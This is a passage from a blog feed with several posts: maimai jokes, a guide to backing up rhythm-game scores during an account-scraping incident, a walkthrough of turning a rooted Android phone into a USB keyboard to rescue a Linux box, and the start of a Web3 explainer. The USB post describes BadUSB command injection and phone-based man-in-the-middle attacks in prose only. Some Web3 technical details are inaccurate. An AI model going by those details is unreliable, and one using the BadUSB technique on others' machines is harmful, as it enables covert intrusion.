Newbie: Which three?&lt;br /&gt;
Veteran: First, server maintenance complete&lt;br /&gt;
Second, zero tolerance for cheats&lt;br /&gt;
Third, Kohad saying this is a surprise&lt;br /&gt;
Newbie: Why can&apos;t I believe the third one?&lt;br /&gt;
Veteran: Because by the time he says that in the livestream, your group friends have already datamined the surprise and sent it to you&lt;/p&gt;
&lt;h2&gt;11.&lt;/h2&gt;
&lt;p&gt;God asked Kohad: You are guilty. You made players suffer through disconnections and grow numb to spoilers. Do you have anything to say in your defense&lt;br /&gt;
Kohad pointed at the crowd below, still queueing to insert coins: Lord, please look. Even though the servers are like potatoes, even though scripts are everywhere, even though there are no secrets left at all, they&apos;re still topping up, still queueing&lt;br /&gt;
God, puzzled: What does that prove?&lt;br /&gt;
Kohad smiled: It proves this isn&apos;t called bad. It&apos;s called a stress test of player loyalty to the absolute limit. And I passed the test&lt;/p&gt;
&lt;h2&gt;12.&lt;/h2&gt;
&lt;p&gt;The CIA captured a Sega staff member lurking in a maimai player group and tried to make him confess the servers&apos; real capacity&lt;br /&gt;
The agent subjected him to all kinds of torture, and he gritted his teeth and said nothing&lt;br /&gt;
In the end, out of options, the agent pushed a maimai cabinet in front of him and said: If you don&apos;t talk, I&apos;ll make you play ten rounds of White Pandora back to back. But I&apos;ll reinstall it as the CN server, and you&apos;ll have to log in with a WeChat QR code&lt;br /&gt;
The staff member instantly broke down crying: I&apos;ll talk! I&apos;ll tell you everything! Just don&apos;t make me scan that QR code! Once your account gets scanned, you can never log in again!&lt;/p&gt;
&lt;h2&gt;13. The Hidetaka Miyazaki Version&lt;/h2&gt;
&lt;p&gt;Then one day, the servers miraculously ran smoothly for a whole day. No disconnections, no penalty waits, QR codes loading in an instant&lt;br /&gt;
Players were moved to tears and flooded the group chat with reaction images&lt;br /&gt;
Kohad stood up high watching the scene:&lt;br /&gt;
Look. This is my design intent&lt;br /&gt;
If it were smooth every day they&apos;d take it for granted&lt;br /&gt;
But after 364 days of gloom, damp and despair, this single smooth day will make them praise the sun from the bottom of their hearts, like Solaire&lt;br /&gt;
Only immense pain can set off how dazzling that insignificant bit of happiness is&lt;/p&gt;
&lt;h2&gt;14.&lt;/h2&gt;
&lt;p&gt;If you have better material, feel free to contact qwq@chongxi.us to submit it. Once approved, it will be included in the second collection. Thanks for the support&lt;/p&gt;
</content:encoded><category>maimai</category><category>社会评论</category><author>Chongxi</author></item><item><title>How to Back Up Your maimai DX Scores with the 水鱼/落雪 Score Trackers</title><link>https://xice.cx/en/posts/backup/</link><guid isPermaLink="true">https://xice.cx/en/posts/backup/</guid><description>How to back up your scores on the 水鱼/落雪 score trackers, plus a tutorial for syncing maimai DX scores.</description><pubDate>Fri, 19 Dec 2025 15:21:22 GMT</pubDate><content:encoded>&lt;p&gt;For a tutorial on updating scores, see: &lt;a href=&quot;/en/posts/maiTool260124/&quot;&gt;A Guide to Uploading and Syncing maimai DX Scores with the Shuiyu and LXNS Trackers&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;How on earth did you people turn an arcade rhythm game into network attack and defense&lt;/h2&gt;
&lt;p&gt;First, the hard requirement: you need to have synced data to these two trackers before, and I think most people meet that condition&lt;/p&gt;
&lt;p&gt;:::red[Note]
&lt;strong&gt;Don&apos;t trust obscure bots of unknown origin&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;If your tracker account was synced after you clocked out, then you don&apos;t need to sync again at all&lt;/p&gt;
&lt;p&gt;If one or two scores weren&apos;t synced, that&apos;s fine. If your account gets messed with, you can upload them by hand when restoring the backup. If it doesn&apos;t get destroyed, you&apos;re lucky — congratulations&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Added at 1 a.m. on the 20th; this article will be updated as things develop. For feedback, contact: qwq@chongxi.us&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Correcting some incorrect content:&lt;br /&gt;
If you can&apos;t log in to 水鱼, that&apos;s fine — as long as you don&apos;t sync your scores to the 水鱼 tracker in the meantime, your account is clean, unless the cheaters go and take down the 水鱼 servers too&lt;/p&gt;
&lt;p&gt;Don&apos;t panic, sit back and relax; worst case just go to sleep (, backing up 水鱼 the next morning is not too late. Just don&apos;t sync scores to 水鱼 in the meantime, and your 水鱼 account is safe, your scores are safe&lt;/p&gt;
&lt;p&gt;If you&apos;re really uneasy, you can click the refresh button next to the token in your profile; that way all previously bound bots lose access to your 水鱼 account. That&apos;s up to you — in theory it&apos;s a bit safer, it&apos;s just that the bots will need to be bound again&lt;/p&gt;
&lt;p&gt;*&lt;em&gt;12/20 01:14 addendum&lt;/em&gt;
:::&lt;/p&gt;
&lt;p&gt;:::yellow[how to do]&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;What if I find my play records have already been scraped&lt;br /&gt;
First, don&apos;t sync your 水鱼 scores. Go straight to the 水鱼 website and back up your data — the backup here is very likely clean, if you haven&apos;t synced&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The 水鱼 page won&apos;t open&lt;br /&gt;
That&apos;s because lots of people are rushing to back up, and someone may be attacking the 水鱼 servers — that&apos;s unclear for now. I suggest not syncing 水鱼 scores in the meantime; losing one or two unsynced scores doesn&apos;t matter. Sit back and relax, wait a while, and you&apos;ll probably get in&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;What if I insist on clicking the QR code to sync the tracker&lt;br /&gt;
It&apos;s not impossible, but the risk is extremely high. Before you click the QR code, back up your data once; that guarantees you have at least one safe backup to fall back on. Then click the QR code to sync the tracker — that satisfies your &lt;s&gt;rebellious&lt;/s&gt; needs and guarantees you have a usable backup
:::&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::blue[What can a backup do]
Here we need to distinguish &lt;code&gt;game account data&lt;/code&gt; from &lt;code&gt;tracker data&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Game account data is the play scores you see in 舞萌net every time after you play; when you play, you use your 舞萌net game account, not your tracker account&lt;/li&gt;
&lt;li&gt;Tracker data is what you get by manually syncing your account data to the tracker, which provides score lookup and other features for bots. You can roughly treat the song data in the tracker as the song data in your account, but updating it requires you to sync manually each time. There&apos;s lag, but it also guarantees that after your game account is destroyed, you can restore it from the 水鱼 backup&lt;/li&gt;
&lt;li&gt;A backup is a copy of your tracker data, stored on your phone/computer. If your account gets destroyed, you can use this backup to restore the scores your account originally had
:::&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To avoid hurting readability, the remaining unnecessary addenda are written at the end of the article&lt;/p&gt;
&lt;p&gt;I&apos;ve talked about the invoice business before; see this &lt;a href=&quot;/en/posts/maiLog20250906/&quot;&gt;article&lt;/a&gt;, which covers the solution for getting invoiced at the end&lt;/p&gt;
&lt;h2&gt;1. 水鱼查分器&lt;/h2&gt;
&lt;p&gt;Log in to the &lt;a href=&quot;https://www.diving-fish.com/maimaidx/prober/&quot;&gt;水鱼查分器&lt;/a&gt;, click the &lt;code&gt;导出为 CSV&lt;/code&gt; button at the bottom, select &lt;code&gt;UTF-8&lt;/code&gt;, and export — your browser will download it automatically. Open it with a text editor and you can see your scores.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./backup/1.webp&quot; alt=&quot;dv&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./backup/2.webp&quot; alt=&quot;dv2&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;2. 落雪查分器&lt;/h2&gt;
&lt;p&gt;Log in to &lt;a href=&quot;https://maimai.lxns.net/user/scores?tab=backup&quot;&gt;落雪咖啡屋&lt;/a&gt;, open the menu on the left, select &lt;code&gt;成绩管理&lt;/code&gt;, click &lt;code&gt;备份成绩&lt;/code&gt;, and choose export. Your browser will start downloading automatically, and you can open it with a text editor.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./backup/3.webp&quot; alt=&quot;lxns&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./backup/4.webp&quot; alt=&quot;lxns2&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;3. Some Things to Pay Attention To&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Simply not scanning the QR code no longer seems to stop account scraping; backing up your scores is currently the most effective worst-case plan&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;I don&apos;t recommend using various obscure bots of unknown origin; that&apos;s exactly why I only listed the two mainstream trackers here. They&apos;re easy to use and have built up a certain authority and credibility, so for backing up data on the Chinese server, these two mainstream trackers are absolutely the best choice&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;About 0010: if cheaters send your account something that doesn&apos;t exist on the cabinet, it&apos;ll blow up — for example, sending you next version&apos;s 旅行伙伴 in advance, and when you play, the cabinet doesn&apos;t have that version&apos;s assets, so it blows up. That&apos;s how it is in most cases, though there are other cases too&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;To be added — I&apos;ll expand this article based on common questions in the various maimai groups&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;4. Plugs&lt;/h2&gt;
&lt;p&gt;If you&apos;re interested in some of the underlying principles, take a look at an article I wrote earlier, &lt;a href=&quot;/en/posts/toolsForMaimai/&quot;&gt;direct link&lt;/a&gt;; it briefly covers the issues around QR codes. For the previous account-scraping log, see &lt;a href=&quot;/en/posts/maiLog20250906/&quot;&gt;mai Chronicles: September&apos;s large-scale tech account scraping and the Chinese-server Kaleidoscope incident&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;s&gt;Whatever happened to &quot;I&apos;m done with the mai scene&quot;&lt;/s&gt;&lt;/p&gt;
</content:encoded><category>maimai</category><category>游戏</category><author>Chongxi</author></item><item><title>Rescuing a Linux Host With Nothing but an Android Phone: A Deep Dive Into USB Gadget</title><link>https://xice.cx/en/posts/aKeyboardHsf/</link><guid isPermaLink="true">https://xice.cx/en/posts/aKeyboardHsf/</guid><description>Using an Android phone as a keyboard to unbrick a machine: USB Gadget emulating HID, and using the IO LEDs to rescue an Ubuntu box you can&apos;t SSH into</description><pubDate>Tue, 16 Dec 2025 08:34:26 GMT</pubDate><content:encoded>&lt;h2&gt;0. Introduction&lt;/h2&gt;
&lt;p&gt;First, meet the star of this post. Chongxi previously bought a little OneCloud mini PC, flashed Ubuntu armv7 onto it, and used it as a lightweight server running small things like AdGuard Home. While heavily modifying it, a config file error killed the host&apos;s network interface, making SSH impossible. With no physical keyboard or HDMI monitor available in the environment, and no reset button on the host, the machine was left half-crippled.&lt;/p&gt;
&lt;h2&gt;0.1 Ingredients&lt;/h2&gt;
&lt;p&gt;First, the rescue tools:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A rooted Android phone&lt;/li&gt;
&lt;li&gt;A USB cable
Software needed:&lt;/li&gt;
&lt;li&gt;USB Gadget Tool&lt;/li&gt;
&lt;li&gt;Android HID Keyword&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;All the needed files can be downloaded from the GitHub links provided, or you can grab them all in one click from &lt;a href=&quot;https://atlas.chongxi.us/@s/lUP9oBcO&quot;&gt;Atlas快递站&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;1. How it works&lt;/h2&gt;
&lt;p&gt;It&apos;s actually very simple: turn the Android device into a keyboard and type into the host. As for how to judge command output without HDMI for visualization? The answer is the IO LEDs.&lt;br /&gt;
Yes, you heard that right. Most people may have heard of debugging with the motherboard&apos;s IO LEDs, but rarely of using IO LEDs to judge input and output while rescuing an Ubuntu host. When you input commands and when the host produces output, the IO LEDs blink — and this post diagnoses everything from those LEDs.&lt;/p&gt;
&lt;p&gt;Now that we know the principle, the rest of the rescue must be simple... right?&lt;/p&gt;
&lt;h3&gt;1.1 The obstacle&lt;/h3&gt;
&lt;p&gt;First of all, it&apos;s definitely not as simple as &quot;plug in the cable, then open Gboard and start typing.&quot;&lt;br /&gt;
The USB protocol has a strict master-slave relationship. Once you plug into the host, odds are the host treats you as the device to be debugged, not the other way around.&lt;br /&gt;
Then there&apos;s the BadUSB risk. A quick primer on the basics:
:::blue[BadUSB]
&lt;code&gt;BadUSB&lt;/code&gt; is one of the classic attack techniques. The USB protocol has a trust flaw: the host unconditionally trusts a device&apos;s declaration of its own identity. Say you&apos;re a keyboard and it will believe you, with no additional verification. A simple BadUSB attack goes like this:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Plug the attack device into the host&lt;/li&gt;
&lt;li&gt;The attack device declares itself as a USB flash drive to the host, and the host trusts it and loads it&lt;/li&gt;
&lt;li&gt;The attack device disconnects on its own and reconnects declaring itself as HID; the host doesn&apos;t verify whether it&apos;s really a keyboard, just loads the driver, and accepts all input from the device with no defenses&lt;/li&gt;
&lt;li&gt;The attack device starts injecting commands into the host (such as launching PowerShell to download a trojan), and to the host it just looks like a human typing very fast, so nothing stops it
:::&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::yellow[What does this have to do with your Android phone?]
If your Android device has full &lt;code&gt;USB Gadget&lt;/code&gt; permissions, it can become the most powerful and stealthy BadUSB in OURWORLD — who would suspect a harmless phone that&apos;s just charging?
You can write attack scripts in Termux to inject into a target device while the other side thinks you&apos;re just charging — in reality you&apos;re emulating a keyboard, or even acting as a USB network card to hijack traffic and launch a man-in-the-middle attack. &lt;code&gt;NetHunter&lt;/code&gt; is a penetration-testing ROM built specifically for Android devices; it can control the phone&apos;s USB port at will and disguise it as all kinds of devices&lt;/p&gt;
&lt;p&gt;OEMs, Google and the Android community all understand this. Faced with such an enormous security risk, the decision was very simple: just cut it out.&lt;br /&gt;
For ordinary consumers, USB transfer at most means swapping photo files and network sharing; killing Gadget outright is undoubtedly the inevitable choice for OEMs — the risk is simply too severe
:::
So how did I get an Android device to successfully emulate HID and type into Ubuntu?&lt;/p&gt;
&lt;h2&gt;2. How it&apos;s implemented&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Talk is cheap, show me the code.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Let&apos;s go straight to the Linux kernel&apos;s official &lt;code&gt;configfs.txt&lt;/code&gt; to explain why a userspace program can control kernel-level hardware behavior&lt;/p&gt;
&lt;h3&gt;2.1 The kernel provides blueprints, not finished products&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Where sysfs is a filesystem-based view of kernel objects, configfs is a filesystem-based manager of kernel objects
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That is, &lt;code&gt;sysfs&lt;/code&gt; lets you look at things the kernel has already created (like your CPU temperature), while &lt;code&gt;configfs&lt;/code&gt; lets you ask the kernel to create new things for you.
When the Android kernel is compiled with the &lt;code&gt;CONFIG_USB_GADGET&lt;/code&gt; and &lt;code&gt;CONFIG_USB_HID&lt;/code&gt; options enabled, the kernel doesn&apos;t immediately create a USB keyboard device. It merely prepares the basic tools under &lt;code&gt;/config/usb_gadget/&lt;/code&gt;, waiting for you to do the assembling&lt;/p&gt;
&lt;h3&gt;2.2 &lt;code&gt;mkdir&lt;/code&gt;&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;A configfs config_item is created via an explicit userspace operation: mkdir(2).
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Every directory you create in &lt;code&gt;configfs&lt;/code&gt; is equivalent to calling a kernel function&lt;/p&gt;
&lt;p&gt;For example&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mkdir /config/usb_gadget/g1
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;When this command runs, &lt;code&gt;configfs&lt;/code&gt; notifies USB Gadget: the user wants to create a new Gadget instance, g1&lt;/li&gt;
&lt;li&gt;The kernel module then allocates a chunk of memory to describe the USB device about to be created&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2.3 Directories and files&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;The item&apos;s attributes will also appear at this time.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After &lt;code&gt;mkdir&lt;/code&gt; succeeds, the kernel immediately generates a bunch of config files in the new directory for you; these files are the configurable attributes of the new object&lt;/p&gt;
&lt;p&gt;For example, after &lt;code&gt;mkdir g1&lt;/code&gt;, &lt;code&gt;ls /config/usb_gadget/g1&lt;/code&gt; might show something like this:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;idVendor     # vendor ID
idProduct    # product ID
strings/     # various string descriptors, such as the vendor name
functions/   # defines what device this Gadget can act as
configs/     # the actual USB configuration bindings
UDC          # binds the configured Gadget to the physical USB controller
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2.4 Writing the config&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;write(2) can store new values.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In other words, using &lt;code&gt;echo&lt;/code&gt; to write into these attribute files is equivalent to setting the parameters of that object in the kernel&lt;/p&gt;
&lt;p&gt;For example, to make it emulate a keyboard&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mkdir /config/usb_gadget/g1/functions/hid.usb0
    
# configure parameters
echo &quot;...&quot; &amp;gt; /config/usb_gadget/g1/functions/hid.usb0/report_desc
    
# create a USB configuration and bind the keyboard function
mkdir /config/usb_gadget/g1/configs/c.1
ln -s /config/usb_gadget/g1/functions/hid.usb0 /config/usb_gadget/g1/configs/c.1
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2.5 Activation&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;[configfs handles] the filesystem representation... allowing the subsystem to ignore all but the basic show/store interaction.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The kernel module itself doesn&apos;t care how you created and configured things; it only waits for activation at the last step&lt;/p&gt;
&lt;p&gt;Example&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# find your phone&apos;s USB controller name (such as a12345.dwc3), then write it into the UDC file
echo &quot;a12345.dwc3&quot; &amp;gt; /config/usb_gadget/g1/UDC
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When the UDC file is written, the kernel&apos;s USB Gadget module receives a Commit signal&lt;br /&gt;
It reads all the configuration you just did in the &lt;code&gt;g1&lt;/code&gt; directory and assembles it into a complete USB device descriptor&lt;br /&gt;
Then it commands the physical USB controller to disconnect the current connection and reconnect to the host as a keyboard&lt;/p&gt;
&lt;p&gt;And with that, the Android device has become a keyboard input device.&lt;/p&gt;
&lt;h2&gt;3. How I rescued it&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Make sure your Android phone is rooted, install the two open-source tools mentioned above, grant su permission in Gadget Tool, and check HID Keyboard to enable it — that completes the Android device emulating a keyboard.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Connect the Android device to the Ubuntu host with a USB cable. The phone is now recognized as an input device. When you press keys on the soft keyboard provided by HID Keyboard, you can see the IO LEDs blink; from here on, all diagnosis relies on the IO LEDs.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Try entering the password and wait ten seconds. I recommend just using the root account to save yourself the trouble of sudo. &lt;s&gt;Worrying about user-group security in this situation is pointless.&lt;/s&gt; Then run &lt;code&gt;ls&lt;/code&gt; and watch whether the IO LEDs blink heavily; heavy blinking means &lt;code&gt;ls&lt;/code&gt; successfully produced output. To be safe, I decided to &lt;code&gt;reboot&lt;/code&gt;, and the host restarted, confirming our login worked.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Chongxi had prepared a recovery script in advance to guard against this kind of dumb situation; its main job is to restore the backed-up contents of the network interface. Judging the input again via the IO LEDs, I ran the recovery command directly, the host restarted, and when I opened OpenWrt I saw normal traffic on the LAN port corresponding to Ubuntu — SSH connected fine, and the rescue was a success.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;4. Conclusion&lt;/h2&gt;
&lt;p&gt;This post really goes beyond the scope of ordinary Linux desktop use — &lt;s&gt;you could call it pure showing off&lt;/s&gt;. It requires kernel support on your device and root access, so it&apos;s a solution that demands that everything line up.&lt;/p&gt;
&lt;p&gt;For Linux players, there is no absolute dead end — only backdoors you haven&apos;t discovered yet. Such is the excellence of openness&lt;/p&gt;
</content:encoded><category>Android</category><category>硬件</category><author>Chongxi</author></item><item><title>What Is Web3? From State Machines to Decentralized Finance, the Clearest Look at What Web3 Actually Is</title><link>https://xice.cx/en/posts/whatIsWeb3/</link><guid isPermaLink="true">https://xice.cx/en/posts/whatIsWeb3/</guid><description>Taking Web3 apart: from node discovery to DeFi, the most radical architectural migration in the history of computer science.</description><pubDate>Mon, 24 Nov 2025 02:34:39 GMT</pubDate><content:encoded>&lt;h2&gt;0. Introduction&lt;/h2&gt;
&lt;p&gt;The word &lt;code&gt;Web3&lt;/code&gt; has been chewed to death by marketing accounts. This article aims to systematically take apart the Web3 that&apos;s wrapped up in marketing noise. We&apos;ll wipe away the foam on top of the gold and introduce you to the most radical architectural migration in the history of computer science: &lt;strong&gt;moving &lt;code&gt;trust&lt;/code&gt; from centralized human institutions onto decentralized mathematical protocols&lt;/strong&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;1 How Nodes Connect&lt;/h2&gt;
&lt;p&gt;Web3 has no central server, only peer nodes.&lt;br /&gt;
The question is: &lt;strong&gt;without a DNS server, how does my computer know where you are?&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;1.1 Node Discovery Protocol &lt;code&gt;Discovery Protocol&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;This is completely different from HTTP. It uses a DHT &lt;code&gt;distributed hash table&lt;/code&gt; based on the Kademlia algorithm&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Enode ID&lt;/strong&gt;: the ID card of every node&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Format: &lt;code&gt;enode://&amp;lt;128-bit public key&amp;gt;@&amp;lt;IP address&amp;gt;:&amp;lt;port&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;When you start a Geth client, it generates this unique URL&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Bootnodes&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This is a hardcoded list of seed nodes in the code&lt;/li&gt;
&lt;li&gt;When a new node comes online, it first goes and queries the Bootnodes for online nodes&lt;/li&gt;
&lt;li&gt;The Bootnodes return a pile of IPs they know about. Your node then connects to those IPs and, spreading like a virus, uses &lt;code&gt;Gossip&lt;/code&gt; to find the whole network&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;1.2 Communication Protocol &lt;code&gt;RLPx&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Once you&apos;ve found each other, how do you send data? It certainly can&apos;t be HTTP
Ethereum uses &lt;strong&gt;RLPx (Recursive Length Prefix Transport Protocol)&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Handshake&lt;/strong&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;A sends an &lt;code&gt;Auth&lt;/code&gt; message (an ECDH key exchange encrypted with the other party&apos;s public key)&lt;/li&gt;
&lt;li&gt;B returns an &lt;code&gt;Ack&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;An encrypted channel is established (a long-lived TCP connection)&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Multiplexing&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Different sub-protocols run simultaneously over this TCP connection:&lt;/li&gt;
&lt;li&gt;&lt;code&gt;eth/66&lt;/code&gt;: exchanges block headers and transaction data&lt;/li&gt;
&lt;li&gt;&lt;code&gt;snap/1&lt;/code&gt;: fast-syncs snapshot data&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;2. Data Structures&lt;/h2&gt;
&lt;p&gt;The blockchain is not one giant Excel sheet
With Excel, when you modify a single row, the hash of the entire file changes, and you&apos;d have to recompute the hash of 1TB of data, which obviously isn&apos;t feasible&lt;/p&gt;
&lt;p&gt;Web3 uses the &lt;strong&gt;&lt;code&gt;Merkle Patricia Trie (MPT)&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;2.1 What Is a Tree&lt;/h3&gt;
&lt;p&gt;This is a monstrous structure that combines a hash tree &lt;code&gt;Merkle Tree&lt;/code&gt; with a prefix tree &lt;code&gt;Radix Trie&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Key&lt;/strong&gt;: the hash of the account address (&lt;code&gt;Keccak256(Address)&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Value&lt;/strong&gt;: the RLP encoding of the account contents (&lt;code&gt;[Nonce, Balance, StorageRoot, CodeHash]&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2.2 The Four Node Types&lt;/h3&gt;
&lt;p&gt;At the database level, the MPT tree is assembled from four kinds of nodes:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Leaf Node&lt;/strong&gt;: &lt;code&gt;[Key, Value]&lt;/code&gt;. This is where the data actually lives (your balance, for instance)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Extension Node&lt;/strong&gt;: &lt;code&gt;[Shared Key, Next Node Hash]&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;If a bunch of addresses all start with &lt;code&gt;0xabc...&lt;/code&gt;, we don&apos;t need to store &lt;code&gt;0xabc&lt;/code&gt; ten thousand times; we store it once with a pointer hanging below. This is called path compression&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Branch Node&lt;/strong&gt;: an array of length 17&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The first 16 correspond to the hexadecimal &lt;code&gt;0-f&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;They determine whether the path goes down &lt;code&gt;0&lt;/code&gt; or down &lt;code&gt;f&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Null Node&lt;/strong&gt;: the empty node&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;2.3 State Updates&lt;/h3&gt;
&lt;p&gt;When you modify a balance:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;We don&apos;t copy the entire tree.&lt;/li&gt;
&lt;li&gt;We only modify the affected &lt;strong&gt;leaf node&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Then we &lt;strong&gt;recompute the hash of every parent node along that path&lt;/strong&gt;, all the way to the root&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The old nodes still exist&lt;/strong&gt; (which gives us historical rollback), but a &lt;strong&gt;new Root Hash&lt;/strong&gt; is generated&lt;/li&gt;
&lt;li&gt;This new &lt;code&gt;Root Hash&lt;/code&gt; is placed into the new block header&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;3. The Micro-Execution of the EVM&lt;/h2&gt;
&lt;p&gt;How does the EVM turn bytecode into a transfer?&lt;/p&gt;
&lt;h3&gt;3.1 A Detailed Look at the Memory Model&lt;/h3&gt;
&lt;p&gt;The EVM runtime has three regions, each with completely different properties:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Stack&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Structure&lt;/strong&gt;: LIFO (last in, first out), maximum depth 1024&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Function&lt;/strong&gt;: all computation (addition, subtraction, multiplication, division) happens here&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Instruction&lt;/strong&gt;: &lt;code&gt;ADD&lt;/code&gt; takes two numbers off the top of the stack, adds them, and pushes the result back on top&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Characteristic&lt;/em&gt;: essentially free (extremely low Gas), but it disappears when the function ends&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Memory&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Structure&lt;/strong&gt;: a linear byte array&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Function&lt;/strong&gt;: temporary storage for strings, arrays and return values&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cost&lt;/strong&gt;: it is &lt;strong&gt;billed quadratically&lt;/strong&gt; — the more memory you request, the more exponentially your Gas climbs (this prevents you from blowing up a node&apos;s RAM)&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Characteristic&lt;/em&gt;: data is cleared after the transaction ends&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Storage&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Structure&lt;/strong&gt;: a key-value map&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Function&lt;/strong&gt;: permanently written into the blockchain state (the MPT tree)&lt;/li&gt;
